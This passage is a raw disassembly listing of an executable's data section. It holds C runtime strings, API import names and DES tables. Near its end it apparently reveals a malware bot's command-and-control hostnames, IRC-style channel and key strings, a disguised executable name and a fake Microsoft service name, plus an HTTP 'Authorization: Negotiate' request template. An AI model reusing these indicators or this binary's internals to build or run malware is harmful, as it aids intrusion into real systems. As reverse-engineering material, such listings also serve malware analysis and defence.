; sub_401AA1+350Bo ... word_42863A dw 2Eh ; DATA XREF: sub_401AA1+383Bo ; sub_401AA1+387Bo ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D3E0+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dbl_428678 dq 1.388888888888889e-2 ; DATA XREF: sub_40D1F5+2Fr dbl_428680 dq 1.666666666666667e-1 ; DATA XREF: sub_40D1F5+15r dbl_428688 dq 1.333333333333333 ; DATA XREF: sub_40D241+7Ar dword_428690 dd 0 ; sub_40D720+57o ... flt_428694 dd 5.0e-1 ; DATA XREF: sub_40EA40+3A5r dbl_428698 dq 9.765625e-4 ; DATA XREF: sub_4169AB+2B8r ; sub_4169AB+2CDr ... dbl_4286A0 dq -1.52587890625e-4 ; DATA XREF: sub_417FDF+3D3r dbl_4286A8 dq 3.0517578125e-4 ; DATA XREF: sub_417FDF+3B4r dbl_4286B0 dq -3.0517578125e-4 ; DATA XREF: sub_417FDF+332r ; sub_417FDF+396r dbl_4286B8 dq 1.52587890625e-4 ; DATA XREF: sub_417FDF+26Dr dbl_4286C0 dq -1.739501953125e-3 ; DATA XREF: sub_417FDF+248r ; sub_417FDF+2D1r ... dbl_4286C8 dq 3.11279296875e-3 ; DATA XREF: sub_417FDF+E1r dbl_4286D0 dq 3.0517578125e-5 ; DATA XREF: sub_417FDF+AEr ; sub_417FDF+137r ... dbl_4286D8 dq 6.103515625e-5 ; DATA XREF: sub_417FDF+93r ; sub_417FDF+2FDr dbl_4286E0 dq 2.288818359375e-3 ; DATA XREF: sub_417FDF+21r dbl_4286E8 dq -3.0517578125e-5 ; DATA XREF: sub_418D19+2Br flt_4286F0 dd 9.765625e-4 ; DATA XREF: sub_41AB47+1B0r flt_4286F4 dd 8.0 ; DATA XREF: sub_41AB47+1AAr flt_4286F8 dd 0.0 ; DATA XREF: sub_41AB47+16Fr flt_4286FC dd 1.0e-3 ; DATA XREF: sub_41AB47+166r dbl_428700 dq 1.0 ; DATA XREF: sub_41CCE5+6Cr ; sub_41CE2B+6Cr ... dword_428708 dd 0FFFFFFFFh, 41E0AAh, 41E0BEha__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E32A+8Eo align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E32A+4Fo align 4 byte_428744 db 6 ; DATA XREF: sub_41FD3F:loc_41FD96r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull_0: ; DATA XREF: .XPack0:off_43F834o unicode 0, <(null)>,0 align 10h aNull_1 db '(null)',0 ; DATA XREF: .XPack0:off_43F830o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .XPack0:off_43FAACo dbl_428868 dq 0.0 ; DATA XREF: sub_4219FF+8Cr ; sub_4219FF+ACr ... dbl_428870 dq 4.195835e6 ; DATA XREF: sub_421F14+Fr dbl_428878 dq 3.145727e6 ; DATA XREF: sub_421F14+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_421F52+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_421F52o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_422079+93o align 10h dword_4288B0 dd 0FFFFFFFFh, 422764h, 42276Eh, 0dword_4288C0 dd 0FFFFFFFFh, 0 dd offset loc_4228EA align 10h dd offset sub_4228C8 dd offset sub_4228D2 dword_4288D8 dd 0FFFFFFFFh, 422B1Ah, 422B1Eh, 0dword_4288E8 dd 0FFFFFFFFh, 422B7Ch, 422B85h, 0dword_4288F8 dd 0FFFFFFFFh, 0 dd offset loc_422C4D align 8 dd offset loc_422C39 dd offset loc_422C3D dword_428910 dd 0FFFFFFFFh, 0 dd offset loc_422CA3 align 10h dd offset loc_422C8F dd offset loc_422C93 dword_428928 dd 2 dup(0) ; sub_4243B4+39o ... dword_428930 dd 0FFFFFFFFh, 42327Ah, 42327Eh, 0FFFFFFFFh, 42332Eh, 423332h ; DATA XREF: sub_42316A+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .XPack0:off_43FC7Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423C91+119o align 4 asc_428BF8 db 0Ah ; DATA XREF: sub_423C91+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423C91+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_423C91+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423C91+7Do align 8 dword_428C38 dd 0FFFFFFFFh, 4244ADh, 4244B1haSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_424EBC+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425448+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425448+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425448+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425D92:loc_425E87o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_425D92+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_425D92+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_425D92+ADo align 4 dword_428CD8 dd 0FFFFFFFFh, 42678Ah, 42678Eh, 0FFFFFFFFh, 4267F9h, 4267FDh ; DATA XREF: sub_4265D3+5o dd 428E14h off_428CF4 dd offset loc_426B92 ; DATA XREF: sub_426B6A+8o ; sub_426BAE+2Co ... dd offset sub_426B85 dd offset sub_426DA6 dd offset dword_428E60 off_428D04 dd offset sub_426BFC ; DATA XREF: sub_426BAE+3Ao ; sub_426C18o ... dd offset sub_426B85 dd offset loc_426DE2 dword_428D10 dd 0 ; sub_426C80+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426C23+11o dd offset dword_428EAC off_428D30 dd offset sub_426D0B ; DATA XREF: sub_426D27o ; sub_426D4A+37o ... dd offset sub_426B85 dd offset loc_426DC4 aStringTooLong db 'string too long',0 ; DATA XREF: sub_426D4A+11o dd offset dword_428EF0 off_428D50 dd offset loc_426F2A ; DATA XREF: sub_426F15o ; .XPack0:off_4403A4o ... dd offset dword_428F20 off_428D58 dd offset loc_426F46 ; DATA XREF: sub_426F62+8o ; sub_426F9F+8o ... ; --------------------------------------------------------------------------- jmp fword ptr [edi+42h] ; --------------------------------------------------------------------------- align 10h aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: .XPack0:00427006o align 8 dword_428D78 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) dword_428D98 dd 0FFFFFFFFh, 4271BDh, 4271C1h, 0FFFFFFFFh, 42723Ah, 42723Eh ; DATA XREF: sub_4270BB+5o dword_428DB0 dd 0FFFFFFFFh, 427432h, 427436h, 0FFFFFFFFh, 42748Fh, 427493h ; DATA XREF: sub_427346+5o dd 4403A4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_428DE0 dd offset off_4403BC ; DATA XREF: .XPack0:00428DF8o ; .XPack0:00428E44o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_428DE0 dd offset dword_428DB0+18h dword_428E00 dd 3 dup(0) dd 2, 428DF8h, 3 dup(0) dd offset off_4403BC dd offset dword_428E00+4 off_428E28 dd offset off_4403DC ; DATA XREF: .XPack0:00428E40o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_428E28 dd offset off_428DE0 dd offset dword_428DB0+18h dword_428E4C dd 3 dup(0) dd 3, 428E40h dword_428E60 dd 3 dup(0) dd offset off_4403DC dd offset dword_428E4C+4 off_428E74 dd offset off_4403FC ; DATA XREF: .XPack0:00428E8Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_428E74 dd offset off_428DE0 dd offset dword_428DB0+18h dword_428E98 dd 3 dup(0) dd 3, 428E8Ch dword_428EAC dd 3 dup(0) dd offset off_4403FC dd offset dword_428E98+4 off_428EC0 dd offset off_440420 ; DATA XREF: .XPack0:00428ED8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_428EC0 dword_428EDC dd 3 dup(0) dd 1, 428ED8h dword_428EF0 dd 3 dup(0) dd offset off_440420 dd offset dword_428EDC+4 dd offset dword_428DB0+18h dword_428F08 dd 4 dup(0) dd 1, 428F04h dword_428F20 dd 3 dup(0) dd offset off_4403A4 dd offset dword_428F08+8 dd 0FFFFFFFFh, 427514h, 0 dd offset sub_42750C dword_428F44 dd 19930520h, 2, 428F34h, 4 dup(0) dd 0FFFFFFFFh, 427538h, 0 dd offset loc_427540 dword_428F70 dd 19930520h, 2, 428F60h, 4 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_40D986 dd 2 dup(0) dd 2 dup(1), 428F9Ch dword_428FC0 dd 19930520h, 2, 428F8Ch, 1, 428FACh, 2 dup(0) ; DATA XREF: .XPack0:loc_427554o dd 0FFFFFFFFh, 42755Eh dword_428FE4 dd 19930520h, 1, 428FDCh, 5 dup(0) dd offset off_4403A4 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 426F9Fh, 0 dd offset off_4403BC align 8 dd 0FFFFFFFFh, 0 dd 1Ch, 426CC8h, 0 dd offset off_4403DC dword_429040 dd 0 dd 0FFFFFFFFh, 0 dword_42904C dd 1Ch, 426D32h, 3, 429038h, 42901Ch, 429000hdword_429064 dd 0 ; sub_426DA6+4Bo dd offset sub_426C18 align 10h dd offset dword_42904C+8 dd 0FFFFFFFFh, 427570h dword_42907C dd 19930520h, 1, 429074h, 4 dup(0) dd 0FFFFFFFFh, 427582h dword_4290A0 dd 19930520h, 1, 429098h, 4 dup(0) dd 0FFFFFFFFh, 427594h dword_4290C4 dd 19930520h, 1, 4290BCh, 5 dup(0) dd offset off_4403FC dd 0 dd 0FFFFFFFFh, 0 dword_4290F4 dd 1Ch, 426D8Eh, 3, 4290E0h, 42901Ch, 429000hdword_42910C dd 0 ; sub_426DA6+2Do dd offset sub_426D27 align 8 dd offset dword_4290F4+8 dd 0FFFFFFFFh, 4275A6h dword_429124 dd 19930520h, 1, 42911Ch, 4 dup(0)dword_429140 dd 2, 42901Ch, 429000hdword_42914C dd 0 dd offset sub_426B6A align 8 dd offset dword_429140 dd 3 dup(0) dd offset word_4293DA dd offset dword_4281DC dd 3 dup(0) dd offset word_429C66 dd offset dword_428000 dd 92h dup(0) dd 53570000h, 636F5341h, 4174656Bh db 2 dup(0) word_4293DA dw 5357h ; DATA XREF: .XPack0:00429168o dd 32335F32h, 6C6C642Eh, 45560000h, 4F495352h, 6C642E4Eh dd 6Ch, 74697845h, 636F7250h, 737365h, 6C430000h, 4865736Fh dd 6C646E61h, 65h, 61657243h, 72506574h, 7365636Fh, 4173h dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 aGetsystemdirec db 'GetSystemDirectoryA',0 dd 6C530000h, 706565h, 72430000h, 65746165h, 65726854h dd 6461h, 65440000h, 6574656Ch, 656C6946h, 41h, 6E65704Fh dd 636F7250h, 737365h, 65470000h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 64h, 4C746547h, 45747361h, 726F7272h dd 0 aCopyfilea db 'CopyFileA',0 align 4 aSetfileattribu db 'SetFileAttributesA',0 align 4 dd 65470000h, 6C694674h, 74744165h, 75626972h, 41736574h dd 0 aGetmodulehandl db 'GetModuleHandleA',0 align 4 aWaitforsingleo db 'WaitForSingleObject',0 dd 72430000h, 65746165h, 6574754Dh, 4178h, 65470000h, 63695474h dd 756F436Bh, 746Eh, 65540000h, 6E696D72h, 54657461h, 61657268h dd 64h, 54746547h, 50706D65h, 41687461h, 0 aMovefilea db 'MoveFileA',0 align 4 aLoadlibrarya db 'LoadLibraryA',0 align 4 aGetprocaddress db 'GetProcAddress',0 align 4 dd 65470000h, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65470000h dd 636F4C74h, 49656C61h, 416F666Eh, 0 aGetversionexa db 'GetVersionExA',0 align 10h aExitthread db 'ExitThread',0 align 4 dd 654C0000h, 43657661h, 69746972h, 536C6163h, 69746365h dd 6E6Fh, 6E450000h, 43726574h, 69746972h, 536C6163h, 69746365h dd 6E6Fh, 6E490000h, 61697469h, 657A696Ch, 74697243h, 6C616369h dd 74636553h, 416E6F69h, 7053646Eh, 6F436E69h, 746E75h dd 65440000h, 6574656Ch, 74697243h, 6C616369h, 74636553h dd 6E6F69h, 754D0000h, 4269746Ch, 54657479h, 6469576Fh dd 61684365h, 72h, 64616552h, 656C6946h, 0 aWritefile db 'WriteFile',0 align 4 aTransactnamedp db 'TransactNamedPipe',0 align 10h aCreatefilea db 'CreateFileA',0 dd 72430000h, 65746165h, 6E657645h, 4174h, 65540000h, 6E696D72h dd 50657461h, 65636F72h, 7373h, 75440000h, 63696C70h, 48657461h dd 6C646E61h, 65h, 43746547h, 65727275h, 7250746Eh, 7365636Fh dd 73h, 61657243h, 69506574h, 6570h, 65470000h, 6D695474h dd 726F4665h, 4174616Dh, 0 aGetdateformata db 'GetDateFormatA',0 align 4 dd 65470000h, 6C694674h, 7A695365h, 65h, 646E6946h, 736F6C43h dd 65h, 656C6946h, 656D6954h, 79536F54h, 6D657473h, 656D6954h dd 0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 dd 69460000h, 654E646Eh, 69467478h, 41656Ch, 69460000h dd 6946646Eh, 46747372h, 41656C69h, 0 aSetfilepointer db 'SetFilePointer',0 align 4 dd 65530000h, 6E6F4374h, 656C6F73h, 6C727443h, 646E6148h dd 72656Ch, 61570000h, 6F467469h, 6C754D72h, 6C706974h dd 6A624F65h, 73746365h, 0 aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 4 aQueryperform_1 db 'QueryPerformanceCounter',0 dd 75510000h, 50797265h, 6F667265h, 6E616D72h, 72466563h dd 65757165h, 79636Eh, 65470000h, 636F4C74h, 69546C61h dd 656Dh, 72460000h, 694C6565h, 72617262h, 79h, 45746547h dd 7269766Eh, 656D6E6Fh, 6156746Eh, 62616972h, 57656Ch dd 65480000h, 72467061h, 6565h, 65480000h, 6C417061h, 636F6Ch dd 65470000h, 6F725074h, 73736563h, 70616548h, 0 aVirtualqueryex db 'VirtualQueryEx',0 align 10h dd 65520000h, 72506461h, 7365636Fh, 6D654D73h, 79726Fh dd 65470000h, 73795374h, 496D6574h, 6F666Eh, 6F460000h dd 74616D72h, 7373654Dh, 41656761h, 0 aGlobalunlock db 'GlobalUnlock',0 align 4 aGloballock db 'GlobalLock',0 align 4 dd 6E550000h, 5670616Dh, 4F776569h, 6C694666h, 65h, 5670614Dh dd 4F776569h, 6C694666h, 65h, 61657243h, 69466574h, 614D656Ch dd 6E697070h, 4167h, 65530000h, 6C694674h, 6D695465h, 65h dd 46746547h, 54656C69h, 656D69h, 78450000h, 646E6170h dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 417367h dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h dd 65h, 7274736Ch, 69706D63h, 41h, 45746547h, 43746978h dd 5065646Fh, 65636F72h, 7373h, 65500000h, 614E6B65h, 5064656Dh dd 657069h, 65470000h, 676F4C74h, 6C616369h, 76697244h dd 7365h, 6C470000h, 6C61626Fh, 6F6D654Dh, 74537972h, 73757461h dd 0 aHeaprealloc db 'HeapReAlloc',0 dd 74520000h, 776E556Ch, 646E69h, 65470000h, 6D695474h dd 6E6F5A65h, 666E4965h, 616D726Fh, 6E6F6974h, 0 aGetsystemtime db 'GetSystemTime',0 align 4 aGetstartupinfo db 'GetStartupInfoA',0 dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h dd 69737265h, 6E6Fh, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh dd 69726156h, 656C6261h, 41h, 70616548h, 74736544h, 796F72h dd 65480000h, 72437061h, 65746165h, 0 aVirtualfree db 'VirtualFree',0 dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 73490000h, 57646142h dd 65746972h, 727450h, 65470000h, 49504374h, 6F666Eh, 65470000h dd 50434174h, 0 aGetoemcp db 'GetOEMCP',0 align 4 aRaiseexception db 'RaiseException',0 align 4 dd 65480000h, 69537061h, 657Ah, 434C0000h, 5370614Dh, 6E697274h dd 4167h, 434C0000h, 5370614Dh, 6E697274h, 5767h, 6E550000h dd 646E6168h, 4564656Ch, 70656378h, 6E6F6974h, 746C6946h dd 7265h, 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h dd 73676E69h, 41h, 65657246h, 69766E45h, 6D6E6F72h, 53746E65h dd 6E697274h, 577367h, 65470000h, 766E4574h, 6E6F7269h dd 746E656Dh, 69727453h, 73676Eh, 65470000h, 766E4574h dd 6E6F7269h, 746E656Dh, 69727453h, 5773676Eh, 0 aSethandlecount db 'SetHandleCount',0 align 4 dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h dd 70795465h, 65h, 53746553h, 61486474h, 656C646Eh, 0 aFlushfilebuffe db 'FlushFileBuffers',0 align 4 aGetstringtypea db 'GetStringTypeA',0 align 4 dd 65470000h, 72745374h, 54676E69h, 57657079h, 0 aSetunhandledex db 'SetUnhandledExceptionFilter',0 dd 73490000h, 52646142h, 50646165h, 7274h, 73490000h, 43646142h dd 5065646Fh, 7274h, 65530000h, 646E4574h, 6946664Fh, 656Ch dd 6F430000h, 7261706Dh, 72745365h, 41676E69h, 0 aComparestringw db 'CompareStringW',0 align 4 dd 65530000h, 766E4574h, 6E6F7269h, 746E656Dh, 69726156h dd 656C6261h db 41h, 0 word_429C66 dw 454Bh ; DATA XREF: .XPack0:0042917Co dd 4C454E52h, 642E3233h, 6C6Ch, 0E3h dup(0) dword_42A000 dd 0 dd offset loc_401202 dd offset sub_40DA34 dd offset sub_40E93F dd offset sub_40F3E9 dword_42A014 dd 0 dword_42A018 dd 0 ; --------------------------------------------------------------------------- retn 41D6h ; --------------------------------------------------------------------------- align 10h dd offset sub_42090D dd offset sub_423FFE dd offset sub_424E22 dword_42A02C dd 0 dword_42A030 dd 0 dd offset sub_4240A3 dword_42A038 dd 0 dword_42A03C dd 0 dd offset sub_424E33 dword_42A044 dd 3 dup(0) dword_42A050 dd 80000002h off_42A054 dd offset byte_42AACC ; DATA XREF: sub_401000+1Er dd 80000002h, 42AAFCh, 80000001h, 42AACCh dword_42A068 dd 6272h, 0 ; sub_40FD24+24o ... dd 20001h, 80004h, 200010h, 800040h, 800000h, 400000h dd 200000h, 100000h, 80000h, 40000h, 20000h, 10000h, 8000h dd 4000h, 2000h, 1000h, 800h, 400h, 200h, 100h, 80h, 40h dd 20h, 10h, 8, 4, 2, 1, 20283038h, 81018h, 21293139h dd 1091119h, 222A323Ah, 20A121Ah, 232B333Bh, 262E363Eh dd 60E161Eh, 252D353Dh, 50D151Dh, 242C343Ch, 40C141Ch dd 30B131Bh, 6040201h, 0E0C0A08h, 1513110Fh, 1C1B1917h dd 170A100Dh, 1B020400h, 914050Eh, 30B1216h, 60F0719h dd 10C131Ah, 241E3328h, 271D362Eh, 2F202C32h, 3726302Bh dd 292D3421h, 1F1C2331h, 1010400h, 0 dd 10000h, 1010404h, 1010004h, 10404h, 4, 10000h, 400h dd 1010400h, 1010404h, 400h, 1000404h, 1010004h, 1000000h dd 4, 404h, 2 dup(1000400h), 2 dup(10400h), 2 dup(1010000h) dd 1000404h, 10004h, 2 dup(1000004h), 10004h, 0 dd 404h, 10404h, 1000000h, 10000h, 1010404h, 4, 1010000h dd 1010400h, 2 dup(1000000h), 400h, 1010004h, 10000h, 10400h dd 1000004h, 400h, 4, 1000404h, 10404h, 1010404h, 10004h dd 1010000h, 1000404h, 1000004h, 404h, 10404h, 1010400h dd 404h, 2 dup(1000400h), 0 dd 10004h, 10400h, 0 dd 1010004h, 80108020h, 80008000h, 8000h, 108020h, 100000h dd 20h, 80100020h, 80008020h, 80000020h, 80108020h, 80108000h dd 80000000h, 80008000h, 100000h, 20h, 80100020h, 108000h dd 100020h, 80008020h, 0 dd 80000000h, 8000h, 108020h, 80100000h, 100020h, 80000020h dd 0 dd 108000h, 8020h, 80108000h, 80100000h, 8020h, 0 dd 108020h, 80100020h, 100000h, 80008020h, 80100000h, 80108000h dd 8000h, 80100000h, 80008000h, 20h, 80108020h, 108020h dd 20h, 8000h, 80000000h, 8020h, 80108000h, 100000h, 80000020h dd 100020h, 80008020h, 80000020h, 100020h, 108000h, 0 dd 80008000h, 8020h, 80000000h, 80100020h, 80108020h, 108000h dd 208h, 8020200h, 0 dd 8020008h, 8000200h, 0 dd 20208h, 8000200h, 20008h, 2 dup(8000008h), 20000h, 8020208h dd 20008h, 8020000h, 208h, 8000000h, 8, 8020200h, 200h dd 20200h, 8020000h, 8020008h, 20208h, 8000208h, 20200h dd 20000h, 8000208h, 8, 8020208h, 200h, 8000000h, 8020200h dd 8000000h, 20008h, 208h, 20000h, 8020200h, 8000200h dd 0 dd 200h, 20008h, 8020208h, 8000200h, 8000008h, 200h, 0 dd 8020008h, 8000208h, 20000h, 8000000h, 8020208h, 8, 20208h dd 20200h, 8000008h, 8020000h, 8000208h, 208h, 8020000h dd 20208h, 8, 8020008h, 20200h, 802001h, 2 dup(2081h) dd 80h, 802080h, 800081h, 800001h, 2001h, 0 dd 2 dup(802000h), 802081h, 81h, 0 dd 800080h, 800001h, 1, 2000h, 800000h, 802001h, 80h, 800000h dd 2001h, 2080h, 800081h, 1, 2080h, 800080h, 2000h, 802080h dd 802081h, 81h, 800080h, 800001h, 802000h, 802081h, 81h dd 2 dup(0) dd 802000h, 2080h, 800080h, 800081h, 1, 802001h, 2 dup(2081h) dd 80h, 802081h, 81h, 1, 2000h, 800001h, 2001h, 802080h dd 800081h, 2001h, 2080h, 800000h, 802001h, 80h, 800000h dd 2000h, 802080h, 100h, 2080100h, 2080000h, 42000100h dd 80000h, 100h, 40000000h, 2080000h, 40080100h, 80000h dd 2000100h, 40080100h, 42000100h, 42080000h, 80100h, 40000000h dd 2000000h, 2 dup(40080000h), 0 dd 40000100h, 2 dup(42080100h), 2000100h, 42080000h, 40000100h dd 0 dd 42000000h, 2080100h, 2000000h, 42000000h, 80100h, 80000h dd 42000100h, 100h, 2000000h, 40000000h, 2080000h, 42000100h dd 40080100h, 2000100h, 40000000h, 42080000h, 2080100h dd 40080100h, 100h, 2000000h, 42080000h, 42080100h, 80100h dd 42000000h, 42080100h, 2080000h, 0 dd 40080000h, 42000000h, 80100h, 2000100h, 40000100h, 80000h dd 0 dd 40080000h, 2080100h, 40000100h, 20000010h, 20400000h dd 4000h, 20404010h, 20400000h, 10h, 20404010h, 400000h dd 20004000h, 404010h, 400000h, 20000010h, 400010h, 20004000h dd 20000000h, 4010h, 0 dd 400010h, 20004010h, 4000h, 404000h, 20004010h, 10h dd 2 dup(20400010h), 0 dd offset loc_40400F+1 dd 20404000h, 4010h, 404000h, 20404000h, 20000000h, 20004000h dd 10h, 20400010h, 404000h, 20404010h, 400000h, 4010h dd 20000010h, 400000h, 20004000h, 20000000h, 4010h, 20000010h dd 20404010h, 404000h, 20400000h, 404010h, 20404000h, 0 dd 20400010h, 10h, 4000h, 20400000h, 404010h, 4000h, 400010h dd 20004010h, 0 dd 20404000h, 20000000h, 400010h, 20004010h, 200000h, 4200002h dd 4000802h, 0 dd 800h, 4000802h, 200802h, 4200800h, 4200802h, 200000h dd 0 dd 4000002h, 2, 4000000h, 4200002h, 802h, 4000800h, 200802h dd 200002h, 4000800h, 4000002h, 4200000h, 4200800h, 200002h dd 4200000h, 800h, 802h, 4200802h, 200800h, 2, 4000000h dd 200800h, 4000000h, 200800h, 200000h, 2 dup(4000802h) dd 2 dup(4200002h), 2, 200002h, 4000000h, 4000800h, 200000h dd 4200800h, 802h, 200802h, 4200800h, 802h, 4000002h, 4200802h dd 4200000h, 200800h, 0 dd 2, 4200802h, 0 dd 200802h, 4200000h, 800h, 4000002h, 4000800h, 800h, 200002h dd 10001040h, 1000h, 40000h, 10041040h, 10000000h, 10001040h dd 40h, 10000000h, 40040h, 10040000h, 10041040h, 41000h dd 10041000h, 41040h, 1000h, 40h, 10040000h, 10000040h dd 10001000h, 1040h, 41000h, 40040h, 10040040h, 10041000h dd 1040h, 2 dup(0) dd 10040040h, 10000040h, 10001000h, 41040h, 40000h, 41040h dd 40000h, 10041000h, 1000h, 40h, 10040040h, 1000h, 41040h dd 10001000h, 40h, 10000040h, 10040000h, 10040040h, 10000000h dd 40000h, 10001040h, 0 dd 10041040h, 40040h, 10000040h, 10040000h, 10001000h dd 10001040h, 0 dd 10041040h, 2 dup(41000h), 2 dup(1040h), 40040h, 10000000h dd 10041000h dword_42A958 dd 25D2h ; sub_40121E+517r dword_42A95C dd 0EC3h dword_42A960 dd 1A08h dword_42A964 dd 45h ; sub_40BC0C+3Br dword_42A968 dd 1F90h ; sub_40BC0C:loc_40BFF4r dword_42A96C dd 201h word_42A970 dw 7C7h ; DATA XREF: sub_401AA1:loc_4046C4r align 4 dword_42A974 dd 1 dword_42A978 dd 1 dword_42A97C dd 1 ; sub_4189E4+Cr byte_42A980 db 2Eh ; DATA XREF: sub_401AA1+A3Dr ; sub_401AA1+AF7r ... align 4 dword_42A984 dd 6 ; sub_40A97E+5Fr ... dword_42A988 dd 6 ; sub_401AA1+26Er ... dword_42A98C dd 1 ; sub_401AA1+268r dword_42A990 dd 0B730B728h, 0B737B730h, 29h, 0 ; sub_401AA1:loc_4043FCo ... dword_42A9A0 dd 91313003h, 2343003h, 781F025Ah, 373561Fh, 32C3130h ; DATA XREF: sub_401AA1:loc_4048C9o dd 33A3431h, 30032031h, 30039131h, 56021F34h, 5852021Fh dd 2C313003h, 3A353103h, 31300320h, 2340391h, 6C650252h dd 6564616Fh, 42022064h, 30037902h, 3202C31h, 281F3531h dd 0B734031Fh, 2313003h, 361026Ch, 6D023430h, 31300302h dd 2720265h, 3B73403h, 291F3531h, 0 dword_42AA14 dd 6D616Ch ; sub_401AA1+7BA6o aTrying_q8cv_or db 'trying.q8cv.org',0 ; DATA XREF: sub_40121E+47Bo ; sub_40121E+508o asc_42AA28 db '#l#',0 ; DATA XREF: sub_40121E+49Bo ; sub_40121E+51Eo ... aL4mo db 'l4mo',0 ; DATA XREF: sub_40121E+4B2o ; sub_40121E+530o align 4 byte_42AA34 db 74h ; DATA XREF: sub_40121E:loc_40175Er ; sub_40121E+54Eo aRying_homler_n db 'rying.homler.net',0 align 4 asc_42AA48 db '#l#',0 ; DATA XREF: sub_40121E+564o aL4mo_0 db 'l4mo',0 ; DATA XREF: sub_40121E+576o align 4 byte_42AA54 db 57h ; DATA XREF: sub_40121E+140o ; sub_40121E+164w ... db 69h, 6Eh, 54h dd 70697063h, 78652E73h, 65h, 746E6977h, 622E7061h, 7461h aMicrosoftGetwa db 'MicroSoft Getway Dire',0 ; DATA XREF: 